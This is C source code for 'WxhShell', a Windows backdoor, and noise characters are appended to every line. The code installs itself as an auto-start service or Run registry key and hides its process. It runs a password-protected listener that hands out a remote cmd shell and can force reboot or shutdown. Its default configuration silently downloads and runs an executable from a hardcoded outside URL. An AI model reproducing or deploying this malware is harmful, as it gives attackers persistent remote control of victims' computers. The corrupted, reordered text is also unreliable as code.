    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Xt$o$V  
    if(Boot(SHUTDOWN)) C#tY};t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 277Am*2  
    else { H"vy[/UcR  
    closesocket(wsh); 6_zyPh  
    ExitThread(0); YkJnZ_k/P  
    } %1UdG6&J_  
    break; tGVC"a  
    } %kXg|9Bx!  
  // 获取shell c-" .VF  
  case 's': { V")u y&Ob  
    CmdShell(wsh); 'p> *4}  
    closesocket(wsh); 5LVzT1j|  
    ExitThread(0); UgC{  
    break; wxW\L!@  
  } (-bLP  
  // 退出 ? f>pKe  
  case 'x': { 2J1YrHj3  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); G5hh$Nmpi  
    CloseIt(wsh); 1 [D,Mu%E  
    break; 1@6FV x  
    } FJH'!P\  
  // 离开 !W48sZr1&  
  case 'q': { _gn`Y(c$%  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]`H8r y2  
    closesocket(wsh); [7sy}UH  
    WSACleanup(); V^D!\)#  
    exit(1); P;DGs]PF  
    break; 90[?)s  
        } & G8tb>q<V  
  } #Ks2a):8  
  } N799@:.  
Y-y<gW  
  // 提示信息 9yWQ}h  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >j}.~$6dj_  
} m6iQB\ \  
  } =ec"G2$?"  
|x/00XhS  
  return; :+Okv$v4  
} '@3Kq\/  
2nkUvb%=  
// shell模块句柄 k*$[V17  
int CmdShell(SOCKET sock) qpZR-O  
{ DD^iEhG  
STARTUPINFO si; /j(3 ~%]o4  
ZeroMemory(&si,sizeof(si)); k*"FMJG_  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #z&@f  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $5v:z   
PROCESS_INFORMATION ProcessInfo; rc()Eo50  
char cmdline[]="cmd"; "4[8pZO/  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); i-E/#zni  
  return 0; FAbl5VW'  
} L.R4 iN  
R0DWjN$j  
// 自身启动模式 'A)r)z {X  
int StartFromService(void) #}|g8gh  
{ V0/O T~gS8  
typedef struct alz2F.%Y  
{ CTh!|mG  
  DWORD ExitStatus; EN/e`S$)  
  DWORD PebBaseAddress; J0V\_ja-  
  DWORD AffinityMask; RM `zxFn  
  DWORD BasePriority; YIZ+BVa  
  ULONG UniqueProcessId; }n[<$*W^  
  ULONG InheritedFromUniqueProcessId; k%2Rv4)hU  
}   PROCESS_BASIC_INFORMATION; 2GW.'\D  
DVLF8]5  
PROCNTQSIP NtQueryInformationProcess; t IO 'ky  
ai@hQJ*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; l?J|Ip2W  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; bUS"1Tg]*6  
wN^$8m5\T^  
  HANDLE             hProcess; V+- ]txu|  
  PROCESS_BASIC_INFORMATION pbi; ON q=bI*  
eR*y<K(d  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Aat-938FP6  
  if(NULL == hInst ) return 0; #s]'2O  
VY]L<4BfGL  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [)L)R`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); l.@&B@5F  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); D5gDVulsh  
w</qUOx  
  if (!NtQueryInformationProcess) return 0; ,p7W4;?4  
4y|%Oj  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); hQPNxpe  
  if(!hProcess) return 0; Ks_B%d  
+204.Yj?D  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; MF]EX  
^mZeAW  
  CloseHandle(hProcess); H(,D5y`k1  
V3t;V-Lkt  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); nLcOz3h  
if(hProcess==NULL) return 0; f\]splL  
9Atnnx]n  
HMODULE hMod; NR|t~C+  
char procName[255]; O=2SDuBZ  
unsigned long cbNeeded; l %M0^d6M  
h.WvPZ2U  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Ka|, qkb  
C<u<:4^H  
  CloseHandle(hProcess); ObIL  w  
&>$+O>c ,  
if(strstr(procName,"services")) return 1; // 以服务启动 3qNLosm#M  
(//f"c]/  
  return 0; // 注册表启动 Gr}lr gPS  
} ~4'AnoD1w  
0oiz V;B5%  
// 主模块 [8$K i$;  
int StartWxhshell(LPSTR lpCmdLine)  QnN cGH  
{ !,z ==Qp|v  
  SOCKET wsl; N,F$^ q6  
BOOL val=TRUE; d@aPhzLu  
  int port=0; .|Y&,?k| Y  
  struct sockaddr_in door; 7w?V0pLwn8  
N`1W"Rx!  
  if(wscfg.ws_autoins) Install(); %{*)-_M  
.lE7v -e  
port=atoi(lpCmdLine); UD}#c:I  
z [9f  
if(port<=0) port=wscfg.ws_port; '#Pg:v_  
/.>8e%)  
  WSADATA data; { M&Vh]  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; RjW< H6a"K  
I/V lH:o  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   EnD }|9  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));  66 @#V  
  door.sin_family = AF_INET; H4{CiZ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); " s3eO  
  door.sin_port = htons(port); *uG!U%jY)  
eemw I  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { X+LG Z4]D  
closesocket(wsl); R m^$Dn  
return 1; 5@&{%99  
} & Y Y^Bd#  
!wNj;ST*  
  if(listen(wsl,2) == INVALID_SOCKET) { 'wm :Xa  
closesocket(wsl); M`u&-6  
return 1; \!Cc[n(f#  
} !eE;MaS>  
  Wxhshell(wsl); ?vn9HhTD  
  WSACleanup(); "Di8MMGOY  
fqp!^-!X  
return 0; %ok??_}$}q  
i$ CN{c*  
} 7>,(QHl  
o.|P7{v}  
// 以NT服务方式启动 nEgDwJ<wl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %TUvH>;0  
{ M|DVFC  
DWORD   status = 0; ;FfDi*S7  
  DWORD   specificError = 0xfffffff; 3 jR I@  
mMSQW6~j  
  serviceStatus.dwServiceType     = SERVICE_WIN32; <g3)!VR^q  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; C(@#I7G  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; r=74 'g  
  serviceStatus.dwWin32ExitCode     = 0; (u:^4,Z  
  serviceStatus.dwServiceSpecificExitCode = 0; g*]/HS>e<G  
  serviceStatus.dwCheckPoint       = 0; 6)j4-  
  serviceStatus.dwWaitHint       = 0; {@YY8SKb9  
|fIIfYE  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); t]14bf$*Q  
  if (hServiceStatusHandle==0) return; B3C%**~:e  
/; {E}`  
status = GetLastError(); sDXD>upO  
  if (status!=NO_ERROR) vnr{Ekg  
{ 9Q /t+  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; qr<RMs  
    serviceStatus.dwCheckPoint       = 0; kVeR{i<*(  
    serviceStatus.dwWaitHint       = 0; $LkTu  
    serviceStatus.dwWin32ExitCode     = status; 734f &2  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0s'h2={iI  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); bpgvLZb>s  
    return; z}z 6Vg  
  } s:ZYiZ-  
k3yA*Ec  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =9yh<'583  
  serviceStatus.dwCheckPoint       = 0; T j(MIFi|5  
  serviceStatus.dwWaitHint       = 0; j0`)mR}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); K6d2}!5  
} tPqWe2  
UYw=i4J'  
// 处理NT服务事件,比如:启动、停止 ' Ih f|;r  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ='G-wX&k  
{ 3LW_qX  
switch(fdwControl) 0aM&+j\q}  
{ pB5#Ho>S  
case SERVICE_CONTROL_STOP: ATzFs]~K;  
  serviceStatus.dwWin32ExitCode = 0; dn1Fwy.  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ! %X#;{  
  serviceStatus.dwCheckPoint   = 0; :tf'Gw6v  
  serviceStatus.dwWaitHint     = 0; 6m$lK%P{1  
  { hH(w O\s  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); U]AJWC6  
  } .$"13"  
  return; #T3dfVWv  
case SERVICE_CONTROL_PAUSE: cKED RX3  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; h"3Mj*s  
  break; N(Sc!rX  
case SERVICE_CONTROL_CONTINUE: +oevNM  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; slTE.  
  break; q/#p ol  
case SERVICE_CONTROL_INTERROGATE: r\T'_wo  
  break; /nWBol,  
}; SUC'o"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fvBL? x  
} f"RS,]  
sXaudT  
// 标准应用程序主函数 N3(.7mxo  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ORx6r=zg  
{ qd<-{  
nghpWODq  
// 获取操作系统版本 v2l*n  
OsIsNt=GetOsVer(); cw3j&k  
GetModuleFileName(NULL,ExeFile,MAX_PATH); N@#,YnPI  
Lm3~< vP1e  
  // 从命令行安装 4&kC8 [r  
  if(strpbrk(lpCmdLine,"iI")) Install(); Bw/8-:eb  
giYlLJA*}  
  // 下载执行文件 (Cb;=:3G  
if(wscfg.ws_downexe) { 572{DC&T  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) pv]2"|]V)  
  WinExec(wscfg.ws_filenam,SW_HIDE); m gE r+  
} ).3riR  
J!\oH%FJp  
if(!OsIsNt) { e|}B;<  
// 如果时win9x,隐藏进程并且设置为注册表启动 B",;z)(%  
HideProc(); z_8lf_N  
StartWxhshell(lpCmdLine); .+(R,SvN%<  
} ["^? vhv  
else $uUR@l  
  if(StartFromService()) %jJ|4\  
  // 以服务方式启动 $a'}7Q_  
  StartServiceCtrlDispatcher(DispatchTable); =&I9d;7  
else IOT-R!.5V  
  // 普通方式启动 4$+1&+@ ]  
  StartWxhshell(lpCmdLine); Qo~|[]GE  
J'C9}7G  
return 0; `0, G' F  
} t>! Ok  
46##(4RF  
i_(6} Y&  
|=js!R|  
=========================================== Ozg,6&3ji  
N 9W,p 2  
fSVb.MZa7  
_9C,N2a{C  
m+Kl   
(YM2Cv{4  
" 6Ts[NXa  
}jg 1..)"<  
#include <stdio.h> N*+L'bO  
#include <string.h> [vqf hpz  
#include <windows.h> ;ObrBN,Fu  
#include <winsock2.h> F0kdwN4;  
#include <winsvc.h> k+BY3a  
#include <urlmon.h> +rJDDIb  
:s*t\09V7  
#pragma comment (lib, "Ws2_32.lib") K7R!E,oPg  
#pragma comment (lib, "urlmon.lib") o3$dl`'  
I0*N "07n  
#define MAX_USER   100 // 最大客户端连接数 X-*LA*xbN  
#define BUF_SOCK   200 // sock buffer fjCFJ_  
#define KEY_BUFF   255 // 输入 buffer !dq$qUl/  
*ze,X~8-  
#define REBOOT     0   // 重启 #mYe@[p@  
#define SHUTDOWN   1   // 关机 UD=[::##  
qP0UcG  
#define DEF_PORT   5000 // 监听端口 22'Ra[  
C8W_f( i~  
#define REG_LEN     16   // 注册表键长度 xXlx}C  
#define SVC_LEN     80   // NT服务名长度 `S+n,,l  
iJH?Z,Tjf  
// 从dll定义API (mplo|>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~O~iP8T  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); E W`3$J;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); } m"':f  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .k$Yleg  
xR8y"CpE  
// wxhshell配置信息 ~ mzX1[  
struct WSCFG { =h xyR;  
  int ws_port;         // 监听端口 #jJ0Mxg  
  char ws_passstr[REG_LEN]; // 口令 >0_{80bdO  
  int ws_autoins;       // 安装标记, 1=yes 0=no Oyb0t|do+  
  char ws_regname[REG_LEN]; // 注册表键名 =ld!=II  
  char ws_svcname[REG_LEN]; // 服务名 `A9fanh  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *{,}pK2*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 X .sOZb?$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 g&{CEfw&  
int ws_downexe;       // 下载执行标记, 1=yes 0=no m>|7&l_  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" k[)/,1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 AZf69z  
r KYQ 8T  
}; &@FufpPw/  
T% GR{mp  
// default Wxhshell configuration <Sr:pm  
struct WSCFG wscfg={DEF_PORT, B}nT>Ub  
    "xuhuanlingzhe", KrR`A(=WL  
    1, LP !d|X  
    "Wxhshell", - (7oFOtg  
    "Wxhshell", m&yHtnt  
            "WxhShell Service", F"cZ$TL]  
    "Wrsky Windows CmdShell Service", 3xN_z?Rg  
    "Please Input Your Password: ", !1%Sf.`!_  
  1, Xvk+1:D  
  "http://www.wrsky.com/wxhshell.exe", $&!|G-0'  
  "Wxhshell.exe" <*+[E!oi  
    }; U o aWI2  
-g:i'e  
// 消息定义模块 g}S%D(~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; f:t j   
char *msg_ws_prompt="\n\r? for help\n\r#>"; 'y5H%I!  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -?l`LbD  
char *msg_ws_ext="\n\rExit."; @-Y,9mM   
char *msg_ws_end="\n\rQuit."; }u8g7Nj  
char *msg_ws_boot="\n\rReboot..."; @REMl~"D5  
char *msg_ws_poff="\n\rShutdown..."; xs )jO+.  
char *msg_ws_down="\n\rSave to "; =v0w\( ?N  
_Fn`G .r<  
char *msg_ws_err="\n\rErr!"; ZvLI~ul(zT  
char *msg_ws_ok="\n\rOK!"; gLY15v4?  
@=%g{  
char ExeFile[MAX_PATH]; `4?|yp.|L  
int nUser = 0; ty:{e]e  
HANDLE handles[MAX_USER]; =f23lA  
int OsIsNt; JNT|h zV  
'MW O3  
SERVICE_STATUS       serviceStatus; |tU wlc>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; rxs:)# ?A  
2R ^6L@fw  
// 函数声明 _0ZU I^#  
int Install(void); k)[c!\a[i  
int Uninstall(void); R<vbhB/lU  
int DownloadFile(char *sURL, SOCKET wsh); Bz|/TV?X(  
int Boot(int flag);  3bJ|L3G  
void HideProc(void); I-=Ieq"R9  
int GetOsVer(void); _k;HhLj`  
int Wxhshell(SOCKET wsl); GZHJ 4|DK  
void TalkWithClient(void *cs); u%6b|M@P  
int CmdShell(SOCKET sock); LM 1Vsh<  
int StartFromService(void); sl"H!cwF  
int StartWxhshell(LPSTR lpCmdLine); tK?XU9o  
[>U2!4=$M  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); pe>?m^gz[  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Jw>na _FJ  
2kk; z0f  
// 数据结构和表定义 O OXP1L  
SERVICE_TABLE_ENTRY DispatchTable[] = -%Ce  
{ +G\i$d;St  
{wscfg.ws_svcname, NTServiceMain}, |f\WVGH  
{NULL, NULL} 4?+jvVq  
}; ~3&hvm[IQ  
dPxJ`8  
// 自我安装 xZM4CR9]*C  
int Install(void) #_|O93HN'  
{ O4:_c-V2  
  char svExeFile[MAX_PATH]; uRYq.`v,  
  HKEY key; 5iI(A'R[7  
  strcpy(svExeFile,ExeFile); j,SZJ{ebXg  
zD<8.AIGC  
// 如果是win9x系统,修改注册表设为自启动 gIIF17|Z  
if(!OsIsNt) { 7TU xdI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1 .[OS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B9Wd '  
  RegCloseKey(key); 9g'6zB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (i?9/8I  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9Zmq7a E  
  RegCloseKey(key); |7Ab_  
  return 0; 9]lyV  
    } A_e5Vb ,u.  
  } {t.S_|IE  
} (uy\~Zb  
else { &Nw|(z&$  
_ b</ ::Tp  
// 如果是NT以上系统,安装为系统服务 XX "3.zW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Sqyju3Yp  
if (schSCManager!=0) Eau V  
{ +?[s"(  
  SC_HANDLE schService = CreateService xP;>p| M  
  ( C N}0( 2n  
  schSCManager, ?A24h !7  
  wscfg.ws_svcname, P_H_\KsH*(  
  wscfg.ws_svcdisp, Y*O Bky  
  SERVICE_ALL_ACCESS, B52dZb  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , e\f\CMb  
  SERVICE_AUTO_START, &Vu-*?  
  SERVICE_ERROR_NORMAL, PfB9 .f{  
  svExeFile, QC&,C}t,  
  NULL, !4<A|$mQ  
  NULL, k*C[-5&#  
  NULL, *UXa.kT@  
  NULL, \PFjw9s  
  NULL ,H<nNBv 3M  
  ); 9 g- 8u+&  
  if (schService!=0) 1'iQlnMO@  
  { g6S-vSX,  
  CloseServiceHandle(schService); }R YPr  
  CloseServiceHandle(schSCManager); %`\Qtsape  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); # JY>  
  strcat(svExeFile,wscfg.ws_svcname); uq7/G|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @v!#_%J  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); o>T+fBHE  
  RegCloseKey(key); -w8?Ur1x:  
  return 0; j~>J?w9<O  
    } R6:m@  
  } ipt]qJFd  
  CloseServiceHandle(schSCManager); }jU)s{>fb  
} .cx9+;  
} P"t Dq&  
Snp(&TD<<  
return 1; ~V?\@R:g  
} }<w9Jfr"X  
- DYH>!  
// 自我卸载 vQy<%[QO  
int Uninstall(void) }w2Et  
{ D0MW~Y6{  
  HKEY key; gS`Z>+V5!c  
G `B=:s]  
if(!OsIsNt) { cWo__EE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y?zo")  
  RegDeleteValue(key,wscfg.ws_regname); u6IM~kk>5  
  RegCloseKey(key); a40>_;}:x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ae2SU4Jx  
  RegDeleteValue(key,wscfg.ws_regname); II[-6\d!  
  RegCloseKey(key); $ 9E"{6;@  
  return 0; hx/A215L  
  } b^()[4M;  
} PL!dkaD^y>  
} ~ahu{A4Bw  
else { CyB4apJ  
,OP\^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 4!-R&<TLve  
if (schSCManager!=0) Z@$'fX?~9  
{ `Hv"^o  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 1=!2|D:C)i  
  if (schService!=0) !YlEXaS  
  { x")Bmw$  
  if(DeleteService(schService)!=0) { : t75iB=  
  CloseServiceHandle(schService); aD6!x3c/  
  CloseServiceHandle(schSCManager); A{T> Aac  
  return 0; cS@p`A7Tpo  
  } -Ekf T_  
  CloseServiceHandle(schService); *"6A>:rQs  
  } </SO#g^r<  
  CloseServiceHandle(schSCManager); kE!ky\E  
} +%~me?  
} $?VYHkX  
qLKL*m  
return 1; QA)"3g   
} nrXKS&6  
"GJ.`Hj  
// 从指定url下载文件 D5].^*AbZ  
int DownloadFile(char *sURL, SOCKET wsh) ~XvMiWuo  
{ 9(_n8br1  
  HRESULT hr; 9#~jlq(  
char seps[]= "/"; Y`6<:8[?  
char *token; Gc5mR9pV   
char *file; V>UlL&V  
char myURL[MAX_PATH]; YhooD,[.  
char myFILE[MAX_PATH]; +UTBiB R  
; vWJOvM2  
strcpy(myURL,sURL); {~(XO@;b  
  token=strtok(myURL,seps); -rHqU|  
  while(token!=NULL) *#@{&Q(Qh  
  { ,:V[H8 ?  
    file=token; 1:./f|m  
  token=strtok(NULL,seps); t#-4edB,  
  } +Q[SddI  
M-F{I%Vx  
GetCurrentDirectory(MAX_PATH,myFILE); :6m"}8*q8  
strcat(myFILE, "\\"); AI,E9  
strcat(myFILE, file); iV\*7  
  send(wsh,myFILE,strlen(myFILE),0); Gf9O\wrs  
send(wsh,"...",3,0); yZNg[KH  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); o"A?Aq  
  if(hr==S_OK) 3RcnoXX_  
return 0; Wg8*;dvtM  
else }>3jHWxLc  
return 1; at2)%V)  
_. EM])b  
} pE0@m-p  
vNZ"x)?  
// 系统电源模块 ]~ S zb  
int Boot(int flag) nf:wJ-;*  
{ rg]z  
  HANDLE hToken; !.4q{YWcYk  
  TOKEN_PRIVILEGES tkp; ,zJ:a>v  
-b?s\X  
  if(OsIsNt) { 4s"x}c">F  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 89P7iSV#*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); cA| n*A-j<  
    tkp.PrivilegeCount = 1; -KG1"g,2  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; #H5 +8W  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); SaRn>n\  
if(flag==REBOOT) { ,XN4Iy#BZl  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) U> <$p{ )  
  return 0; $`lGPi(Jc  
} KmqgP`Cu  
else { %.fwNS  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _U,Hi?b"$}  
  return 0; t+,2 p|B  
} 0a,B&o1  
  } +]~}kvk:  
  else { hxw6^EA  
if(flag==REBOOT) { gnf4H V~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) U0N6\+  
  return 0; 5 (q4o`  
} "=$uv  
else { zW[HGI6w  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) azRp4~2?  
  return 0; S]4!uv^y  
} N,F[x0&?  
} a,n#E!zT?w  
4]xD-sc  
return 1; lcfs 1].  
} i|S/g.r  
$2Bll5!]  
// win9x进程隐藏模块 v9#F\F/  
void HideProc(void) 5E}]U,$  
{ bJynUZ  
 DD[<J:6  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ':f,RG  
  if ( hKernel != NULL ) P"[{s^mb  
  {  KcpQ[6\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); S&Hgr_/}c  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); YjPj#57+  
    FreeLibrary(hKernel); ]L3MIaO2T  
  } {Z>Mnw"R  
\#C]|\  
return; i7&ay\+@  
} ~;t/VsgGW  
^5k~ 7F.  
// 获取操作系统版本 $9W,1wg  
int GetOsVer(void) iRV=I,  
{  Qr-,J_  
  OSVERSIONINFO winfo; crgVedx~}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); UH((d*HX4  
  GetVersionEx(&winfo); {GGP8  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) A yOy&]g  
  return 1; Y+0GJuBf  
  else hANe$10=H  
  return 0; vVjk9_Ul  
} :8]y*j  
I(z16wQ  
// 客户端句柄模块 *-E'$  
int Wxhshell(SOCKET wsl) @S&QxE^  
{ I`x[1%y2 F  
  SOCKET wsh; s+h}O}RV  
  struct sockaddr_in client; Q+O./1x*,  
  DWORD myID; J2$,'(!(  
^bLFY9hSC  
  while(nUser<MAX_USER) o76{;Bl\O  
{ iUZV-jl2/  
  int nSize=sizeof(client); =i},$"Bf*%  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); | _nBiHjNn  
  if(wsh==INVALID_SOCKET) return 1; TrQUhmS/!  
e^N}(Kpy  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \ AB)L{  
if(handles[nUser]==0) nUCOHVI7  
  closesocket(wsh); NFqGbA|  
else U[Lr+nKo\  
  nUser++; zT>BC}~.b  
  } lx> ."rW  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); lnK#q .]  
5!Ovd O}g  
  return 0; YU\k D  
} $KS!vS7  
qTG i9OP6/  
// 关闭 socket gN]\#s@[  
void CloseIt(SOCKET wsh) FJn.V1  
{ nW oh(a  
closesocket(wsh); O-3aU!L  
nUser--; }:!X@C~  
ExitThread(0); drbim8 !q~  
} eAjsMED  
| 3`8$-  
// 客户端请求句柄 X,}(MW  
void TalkWithClient(void *cs) Q!r` G  
{ Zb:Z,O(vn  
D[Q/:_2l  
  SOCKET wsh=(SOCKET)cs; 2G_]Y8  
  char pwd[SVC_LEN]; /-+hMYe  
  char cmd[KEY_BUFF]; 7j88^59  
char chr[1]; thE9fr/  
int i,j; d)d0,fi?-  
v[)8 1uY  
  while (nUser < MAX_USER) { s(r4m/  
KxWm63"  
if(wscfg.ws_passstr) { -&lD0p>*g  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vx}BT H  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >Sb3]$$  
  //ZeroMemory(pwd,KEY_BUFF); s@ 6Jz\<E  
      i=0; "/%o'Fq  
  while(i<SVC_LEN) { $weC '-n@  
x0lAJaG  
  // 设置超时 pnXwE-c_  
  fd_set FdRead; MSB/O.  
  struct timeval TimeOut; p =-~qBw  
  FD_ZERO(&FdRead); IsDwa qd|  
  FD_SET(wsh,&FdRead); ]<S{3F=  
  TimeOut.tv_sec=8; oc#hAjB.  
  TimeOut.tv_usec=0; b.RFvq5Z  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); S 8)!70  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); yI^7sf7k  
R*2F)e\|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R \]C;@J<  
  pwd=chr[0]; \9`.jB~<  
  if(chr[0]==0xd || chr[0]==0xa) { *Rxn3tR7  
  pwd=0; Rr}m(e=  
  break; gMp' S  
  } oN`khS]_v0  
  i++; `$q0fTz  
    } qqys`.  
9_ZGb"(Lj  
  // 如果是非法用户,关闭 socket YPA$38  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); T1'\!6_5  
} 5=R]1YI~$  
 GInw7  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Q 9E.AN  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &y7xL-xP  
+k[w)7Q  
while(1) { 9!.S9[[N  
 ;v/un  
  ZeroMemory(cmd,KEY_BUFF); !OMCsUZ  
>]uu?!PU  
      // 自动支持客户端 telnet标准   dN7.W   
  j=0; '*Ld,`  
  while(j<KEY_BUFF) { }$ Kd-cj+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); CTxP3a9]  
  cmd[j]=chr[0]; {qOqtkj  
  if(chr[0]==0xa || chr[0]==0xd) { /Z[HU{4  
  cmd[j]=0; c e; zn\  
  break; lQy-&d|=#^  
  } |kTq &^$  
  j++; G&YcXyH  
    } +r&:c[  
/y6I I$AvM  
  // 下载文件 f .$*9Fkw  
  if(strstr(cmd,"http://")) { JoZS p"R  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;lfv.-u:<  
  if(DownloadFile(cmd,wsh)) :Gew8G  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #%w)w R3  
  else )uMv]  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d8U<V<H<  
  } &gUa^5'#  
  else { ;--D?Gs]Qr  
>(.Y%$9"E  
